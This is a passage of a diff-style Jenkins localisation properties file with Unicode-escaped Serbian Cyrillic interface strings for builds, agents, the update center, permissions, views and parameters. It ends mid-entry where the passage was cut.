+Run._is_waiting_for_a_checkpoint_on_={0} \u0447\u0435\u043A\u0430 \u0442\u0440\u0435\u043D\u0443\u0442\u0430\u043A \u0437\u0430 {1} +Run.Permissions.Title=\u0418\u0437\u0432\u0440\u0448\u0438 +Run.running_as_=\u0418\u0437\u0432\u0440\u0448\u0430\u045A\u0435 \u043A\u0430\u043E {0} +Run.UnableToDelete=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0438 {0}: {1} +Run.DeletePermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043D\u0430 \u0431\u0440\u0438\u0441\u0430\u045A\u0435 \u0438\u0437\u0430\u0431\u0440\u0430\u043D\u0438\u0445 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0441\u0430 \u0438\u0441\u0442\u043E\u0440\u0438\u0458\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. +Run.UpdatePermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \u043F\u0440\u043E\u043C\u0435\u043D\u0435 \u043E\u043F\u0438\u0441 \u0438 \u0434\u0440\u0443\u0433\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0441\u0430 \u0438\u0441\u0442\u043E\u0440\u0438\u0458\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. \u041C\u043E\u0436\u0435 \u0441\u0435, \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440, \u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0440\u0443\u043A\u0430 \u043A\u043E\u0458\u0430 \u043E\u043F\u0438\u0441\u0443\u0458\u0435 \u0440\u0430\u0437\u043B\u043E\u0433 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. +Run.ArtifactsPermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0435 \u043F\u0440\u043E\u0438\u0437\u0432\u0435\u0434\u0435\u043D\u0438 \u043E\u0434 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. \u041D\u0435\u043C\u043E\u0458 \u0442\u0435 \u0434\u0430\u0442\u0438 \u043E\u0432\u043E \u043F\u0440\u0430\u0432\u043E \u0430\u043A\u043E \u043D\u0435 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \u0434\u043E\u0441\u0442\u0443\u043F\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438\u043C\u0430. +Run.InProgressDuration={0} \u0438 \u0440\u0430\u0441\u0442\u0435 +Run.NotStartedYet=\u041D\u0438\u0458\u0435 \u0458\u043E\u0448 \u043F\u043E\u0447\u0435\u043B\u043E +Run.ArtifactsBrowserTitle=\u0410\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 \u043D\u0430 {0} {1} +Run.Summary.Stable=\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E +Run.Summary.Unstable=\u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E +Run.Summary.NotBuilt=\u043D\u0435\u0438\u0437\u0433\u0440\u0430\u0452\u0435\u043D\u043E +Run.Summary.Aborted=\u043E\u0434\u0443\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E +Run.Summary.BackToNormal=\u043D\u043E\u0440\u043C\u0430\u043B\u043D\u043E +Run.Summary.BrokenForALongTime=\u0434\u0443\u0436\u0435 \u0432\u0440\u0435\u043C\u0435 \u0441\u043B\u043E\u043C\u0459\u0435\u043D\u043E +Run.Summary.BrokenSinceThisBuild=\u0441\u043B\u043E\u043C\u0459\u0435\u043D\u043E \u043E\u0434 \u043E\u0432\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Run.Summary.BrokenSince=\u0441\u043B\u043E\u043C\u0459\u0435\u043D\u043E \u043E\u0434 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 {0} +Run.Summary.Unknown=\u041D/\u0414 +Slave.InvalidConfig.Executors=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u043D\u0430 \u0430\u0433\u0435\u043D\u0442\u0443 \u0437\u0430 {0}. \u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u0430\u043D \u0431\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430. +Slave.InvalidConfig.NoName=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u043D\u0430 \u0430\u0433\u0435\u043D\u0442\u0443 \u2014 \u0438\u043C\u0435 \u0458\u0435 \u043F\u0440\u0430\u0437\u043D\u043E. +Slave.InvalidConfig.NoRemoteDir=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u043D\u0430 \u0430\u0433\u0435\u043D\u0442\u0443 \u2014 \u043D\u0438\u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E \u0443\u0434\u0430\u0459\u0435\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C. +Slave.Launching={0} \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0430\u0433\u0435\u043D\u0442\u043E\u043C +Slave.Network.Mounted.File.System.Warning=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043C\u0440\u0435\u0436\u043D\u0438 \u0441\u0438\u0441\u0442\u0435\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0437\u0430 \u043A\u043E\u0440\u0435\u043D \u0442\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430. \u0414\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u043D\u0435\u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u0432\u0438\u0434\u0459\u0438\u0432 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0443. +Slave.Remote.Director.Mandatory=\u041E\u0431\u0430\u0432\u0435\u0437\u043D\u043E \u0458\u0435 \u0438\u043C\u0430\u0442\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u043D\u0430 \u0434\u0430\u0459\u0438\u043D\u0438 +Slave.Terminated=\u0410\u0433\u0435\u043D\u0442 {0} \u0458\u0435 \u0443\u043A\u043B\u043E\u045A\u0435\u043D +Slave.Remote.Relative.Path.Warning=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u0440\u0435\u043B\u0430\u0442\u0438\u0432\u043D\u0430 \u043F\u0443\u0442\u0435\u0432\u0430 \u0437\u0430 \u043A\u043E\u0440\u0435\u043D \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430. \u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u0434\u0430 \u0438\u0437\u0430\u0431\u0440\u0430\u043D\u0438 \u043F\u0440\u043E\u0446\u0435\u0441 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 \u043E\u0431\u0435\u0437\u0431\u0435\u0452\u0443\u0458\u0435 \u043A\u043E\u043D\u0441\u0438\u0441\u0442\u0435\u043D\u0442\u043D\u043E\u0433 \u0440\u0430\u0434\u043D\u043E\u0433 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0430. \u041F\u0440\u0435\u043F\u043E\u0440\u0443\u0447\u0443\u0458\u0435 \u0441\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u0430\u043F\u0441\u043E\u043B\u0443\u0442\u043D\u0430 \u043F\u0443\u0442\u0435\u0432\u0430. +Slave.UnableToLaunch=\u0410\u0433\u0435\u043D\u0430\u0442 \u0437\u0430 {0}{1} \u043D\u0435 \u043C\u043E\u0436\u0435 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0435 +Slave.UnixSlave=\u041E\u0432\u043E \u0458\u0435 \u0430\u0433\u0435\u043D\u0442 \u0437\u0430 Unix +TopLevelItemDescriptor.NotApplicableIn={0} \u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430 \u043D\u0435 \u043C\u043E\u0433\u0443 \u0441\u0435 \u043F\u0440\u0438\u043C\u0435\u043D\u0438\u0442\u0438 \u0443 {1} +Slave.WindowsSlave=\u041E\u0432\u043E \u0458\u0435 \u0430\u0433\u0435\u043D\u0442 \u0437\u0430 Windows +UpdateCenter.DownloadButNotActivated=\u0423\u0441\u043F\u0435\u0448\u043D\u043E \u043F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u045A\u0435. \u041F\u043E\u0447\u0435\u045B\u0435 \u0434\u0430 \u0440\u0430\u0434\u0438 \u043F\u043E\u0441\u043B\u0435 \u0441\u043B\u0435\u0434\u0435\u045B\u0435\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430. +UpdateCenter.n_a=\u041D\u0435\u043C\u0430 +View.Permissions.Title=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 +View.CreatePermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043A\u043E\u0440\u0438\u043D\u0438\u0446\u0438\u043C\u0430 \u0434\u0430 \u043A\u0440\u0435\u0438\u0440\u0430\u0458\u0443 \u043D\u043E\u0432\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430. +View.DeletePermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043A\u043E\u0440\u0438\u043D\u0438\u0446\u0438\u043C\u0430 \u0434\u0430 \u0431\u0440\u0438\u0448\u0443 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0435. +View.ConfigurePermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043A\u043E\u0440\u0438\u043D\u0438\u0446\u0438\u043C\u0430 \u0434\u0430 \u043C\u0435\u045A\u0430\u0458\u0443 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430. +View.ReadPermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u043A\u043E\u0440\u0438\u043D\u0438\u0446\u0438\u043C\u0430 \u0434\u0430 \u0434\u043E\u0441\u0442\u0443\u043F\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0438\u043C\u0430. +View.MissingMode=\u0412\u0440\u0441\u0442\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \u043D\u0438\u0458\u0435 \u0438\u0437\u0430\u0431\u0440\u0430\u043D\u043E +UpdateCenter.Status.CheckingInternet=\u041F\u0440\u043E\u0432\u0435\u0440\u0430 \u0432\u0435\u0437\u043E\u043C \u0441\u0430 \u0438\u043D\u0442\u0435\u0440\u043D\u0435\u0442\u043E\u043C +UpdateCenter.Status.CheckingJavaNet=\u041F\u0440\u043E\u0432\u0435\u0440\u0430 \u0432\u0435\u0437\u043E\u043C \u0441\u0430 \u0446\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 a\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.Status.Success=\u0423\u0441\u043F\u0435\u0445 +UpdateCenter.Status.UnknownHostException=\u041D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u043F\u0440\u043E\u0432\u0435\u0440\u0430 \u0430\u0434\u0440\u0435\u0441\u0435 {0}. \ +\u041C\u043E\u0436\u0434\u0430 \u043C\u043E\u0440\u0430\u0442\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 HTTP proxy? +UpdateCenter.Status.ConnectionFailed=\u041D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E \u043F\u043E\u0432\u0435\u0437\u0438\u0432\u0430\u045A\u0435 \u0441\u0430 {0}. \ +\u041C\u043E\u0436\u0434\u0430 \u043C\u043E\u0440\u0430\u0442\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 HTTP proxy? +UpdateCenter.init=\u0418\u043D\u0438\u0446\u0438\u0430\u043B\u0438\u0437\u0430\u0446\u0438\u0458\u0430 \u0446\u0435\u043D\u0442\u0440\u0430 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +UpdateCenter.PluginCategory.builder=\u0410\u043B\u0430\u0442\u0438 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +UpdateCenter.PluginCategory.buildwrapper=\u0421\u043A\u0440\u0438\u043F\u0442 \u043E\u043C\u043E\u0442\u0430\u0447\u0438 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +UpdateCenter.PluginCategory.cli=\u0418\u043D\u0442\u0435\u0440\u0444\u0435\u0458\u0441 \u043D\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u043E\u0458 \u043B\u0438\u043D\u0438\u0458\u0438 +UpdateCenter.PluginCategory.cloud=\u041F\u0440\u043E\u0432\u0430\u0458\u0434\u0435\u0440\u0438 cloud \u0441\u0435\u0440\u0432\u0438\u0441\u0435 +UpdateCenter.PluginCategory.listview-column=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u043F\u0438\u0441\u0430\u043A\u0430 \u043F\u043E \u043A\u043E\u043B\u043E\u043D\u0438\u043C\u0430 +UpdateCenter.PluginCategory.misc=\u0420\u0430\u0437\u043D\u043E +UpdateCenter.PluginCategory.notifier=\u041E\u0431\u0430\u0432\u0435\u0448\u0442\u0435\u045A\u0430 \u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438 +UpdateCenter.PluginCategory.page-decorator=\u0414\u0435\u043A\u043E\u0440\u0430\u0446\u0438\u0458\u0430 \u0437\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0435 +UpdateCenter.PluginCategory.parameter=\u041F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +UpdateCenter.PluginCategory.post-build=\u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u0430\u043A\u0446\u0438\u0458\u0435 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +UpdateCenter.PluginCategory.runcondition=\u0423\u0441\u043B\u043E\u0432\u0438 \u0437\u0430 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 +UpdateCenter.PluginCategory.ui=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u0438 \u0438\u043D\u0442\u0435\u0440\u0444\u0435\u0458\u0441 +UpdateCenter.PluginCategory.upload=\u041F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u045A\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043A\u0442\u0438 +UpdateCenter.PluginCategory.user=\u0410\u0443\u0442\u0435\u043D\u0442\u0438\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438\u043C\u0430 +UpdateCenter.PluginCategory.view=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0438 +UpdateCenter.PluginCategory.must-be-labeled=\u0431\u0435\u0437 \u043A\u0430\u0442\u0435\u0433\u043E\u0440\u0438\u0458\u0435 +UpdateCenter.PluginCategory.unrecognized=\u0420\u0430\u0437\u043D\u043E ({0}) +Permalink.LastBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Permalink.LastStableBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Permalink.LastUnstableBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u043D\u0435\u0441\u0442\u0430\u0431\u0438\u043B\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Permalink.LastUnsuccessfulBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Permalink.LastSuccessfulBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Permalink.LastFailedBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Permalink.LastCompletedBuild=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u0437\u0430\u0432\u0440\u0448\u0435\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +ParameterAction.DisplayName=\u041F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 +ParametersDefinitionProperty.DisplayName=\u041E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0438\u043C\u0430 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 +StringParameterDefinition.DisplayName=\u041D\u0438\u0437 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 +TextParameterDefinition.DisplayName=\u0422\u0435\u043A\u0441\u0442 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 +FileParameterDefinition.DisplayName=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 +BooleanParameterDefinition.DisplayName=\u0411\u0437\u043B\u043E\u0432 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 +ChoiceParameterDefinition.DisplayName=\u0421\u043F\u0438\u0441\u0430\u043A \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 +ChoiceParameterDefinition.MissingChoices=\u041F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0443\u043D\u0435\u0442\u0438 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442\u0438. +PasswordParameterDefinition.DisplayName=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 +RunParameterDefinition.DisplayName=\u041F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440 \u0437\u0430 \u0438\u0437\u0432\u0440\u0448\u0435\u045A\u0435 +Node.BecauseNodeIsReserved={0} \u0458\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u0430\u043D\u043E \u0437\u0430 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0441\u0430 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430\u0458\u0443\u045B\u043E\u0458 \u043B\u0430\u0431\u0435\u043B\u0438 +Node.BecauseNodeIsNotAcceptingTasks={0} \u043D\u0435 \u043F\u0440\u0438\u043C\u0430 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 +Node.LabelMissing={0} \u043D\u0435\u043C\u0430 \u043B\u0430\u0431\u0435\u043B\u0443 {1} +Node.LackingBuildPermission={0} \u043D\u0435\u043C\u0430 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u043D\u0430 {1} +Node.Mode.EXCLUSIVE=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 \u0441\u0430\u043C\u043E \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0441\u0430 \u043B\u0430\u0431\u0435\u043B\u043E\u043C \u043A\u043E\u0458\u0430 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438 +Node.Mode.NORMAL=\u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043E\u0432\u0443 \u043C\u0430\u0448\u0438\u043D\u0443 \u043A\u043E\u043B\u0438\u043A\u043E \u0433\u043E\u0434 \u043C\u043E\u0436\u0435\u0442\u0435 +ListView.DisplayName=\u0421\u043F\u0438\u0441\u0447\u0435\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +MyView.DisplayName=\u041C\u043E\u0458 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +LoadStatistics.Legends.DefinedExecutors=\u0414\u0435\u0444\u043D\u0438\u0441\u0430\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0438 +LoadStatistics.Legends.ConnectingExecutors=\u041F\u043E\u0432\u0435\u0437\u0443\u0458\u0435 \u043C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0435 +LoadStatistics.Legends.OnlineExecutors=\u041C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0438 \u043D\u0430 \u043C\u0440\u0435\u0436\u0438 +LoadStatistics.Legends.TotalExecutors=\u0423\u043A\u0443\u043F\u043D\u043E \u043C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0430 +LoadStatistics.Legends.BusyExecutors=\u0417\u0430\u0443\u0437\u0435\u0442\u0435 \u043C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0438 +LoadStatistics.Legends.IdleExecutors=\u0421\u043B\u043E\u0431\u043E\u0434\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0438 +LoadStatistics.Legends.AvailableExecutors=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435-\u0438\u0437\u0432\u043E\u0452\u0430\u0447\u0438 +LoadStatistics.Legends.QueueLength=\u0414\u0443\u0436\u0438\u043D\u0430 \u0440\u0435\u0434\u0430 +Cause.LegacyCodeCause.ShortDescription=\u0421\u0442\u0430\u0440\u0438 \u043A\u043E\u0434 \u0458\u0435 \u0437\u0430\u043F\u043E\u0447\u0435\u043E \u043E\u0432\u0430\u0458 \u0437\u0430\u0434\u0430\u0442\u0430\u043A - \u043D\u0435\u0434\u043E\u0441\u0442\u0430\u0458\u0435 \u0440\u0430\u0437\u043B\u043E\u0433. +Cause.UpstreamCause.ShortDescription=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u043E\u043C "{0}" \u0438\u0437\u0433\u0440\u0430\u0434\u043D\u0438 \u0431\u0440\u043E\u0458 {1} +Cause.UpstreamCause.CausedBy=\u043F\u0440\u0432\u043E\u0431\u0438\u0442\u043D\u043E \u0437\u0431\u043E\u0433: +Cause.UserCause.ShortDescription=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u043E\u043C {0} +Cause.UserIdCause.ShortDescription=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u043E\u043C {0} +Cause.RemoteCause.ShortDescription=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u0443\u0434\u0430\u0459\u0435\u043D\u043E\u043C \u043C\u0430\u0448\u0438\u043D\u043E\u043C {0} +Cause.RemoteCause.ShortDescriptionWithNote=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u0443\u0434\u0430\u0459\u0435\u043D\u043E\u043C \u043C\u0430\u0448\u0438\u043D\u043E\u043C {0} \u0441\u0430 \u0431\u0435\u043B\u0435\u0448\u043A\u043E\u043C: {0} +ProxyView.NoSuchViewExists=\u0413\u043B\u043E\u0431\u0430\u043B\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 {0} \u043D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 +ProxyView.DisplayName=\u0423\u043A\u0459\u0443\u0447\u0438 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +MyViewsProperty.DisplayName=\u041C\u043E\u0458\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0438 +MyViewsProperty.GlobalAction.DisplayName=\u041C\u043E\u0458\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0438 +MyViewsProperty.ViewExistsCheck.NotExist=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C {0} \u043D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 +MyViewsProperty.ViewExistsCheck.AlreadyExists=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C {0} \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 +CLI.restart.shortDescription=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 Jenkins +CLI.safe-restart.shortDescription=\u0411\u0435\u0437\u0431\u0435\u0434\u043D\u043E \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 Jenkins +CLI.keep-build.shortDescription=\u041E\u0437\u043D\u0430\u0447\u0438\u0442\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0434\u0430 \u0458\u0435 \u0434\u0443\u0433\u043E\u0442\u0440\u0430\u0458\u043D\u043E \u0441\u0430\u0447\u0443\u0432\u0430\u0442\u0435 +BuildAuthorizationToken.InvalidTokenProvided=\u0417\u0430\u0434\u0430\u0442\u0438 \u0442\u043E\u043A\u0435\u043D \u0458\u0435 \u043D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u0430\u043D +Jenkins.CheckDisplayName.NameNotUniqueWarning=\u0418\u043C\u0435 "{0}", \u0441\u0435 \u0432\u0435\u045B \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u043A\u0430\u043E \u0438\u043C\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0448\u0442\u043E \u043C\u043E\u0436\u0435 \u0434\u043E\u0432\u0435\u0441\u0442\u0438 \u0434\u043E \u0437\u0431\u0443\u045A\u0443\u0458\u0443\u045B\u0430 \u0440\u0435\u0437\u0443\u043B\u0442\u0430\u0442\u0430 \u043F\u0440\u0435\u0433\u0440\u0430\u0442\u0435. +Jenkins.CheckDisplayName.DisplayNameNotUniqueWarning=\u0418\u043C\u0435 "{0}", \u0441\u0435 \u0432\u0435\u045B \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u0434\u0440\u0443\u0433\u0438\u043C \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u043E\u043C, \u0448\u0442\u043E \u043C\u043E\u0436\u0435 \u0434\u043E\u0432\u0435\u0441\u0442\u0438 \u0434\u043E \u0437\u0431\u0443\u045A\u0443\u0458\u0443\u045B\u0430 \u0440\u0435\u0437\u0443\u043B\u0442\u0430\u0442\u0430 \u043F\u0440\u0435\u0433\u0440\u0430\u0442\u0435. +Jenkins.NotAllowedName="{0}" \u0458\u0435 \u043D\u0435\u0434\u043E\u0437\u0432\u043E\u0459\u0435\u043D\u043E \u0438\u043C\u0435 +Jenkins.IsRestarting=Jenkins \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u045B\u0435 +User.IllegalUsername=\u041D\u0435 \u043C\u043E\u0436\u0435\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 "{0}" \u0437\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 \u0438\u0437 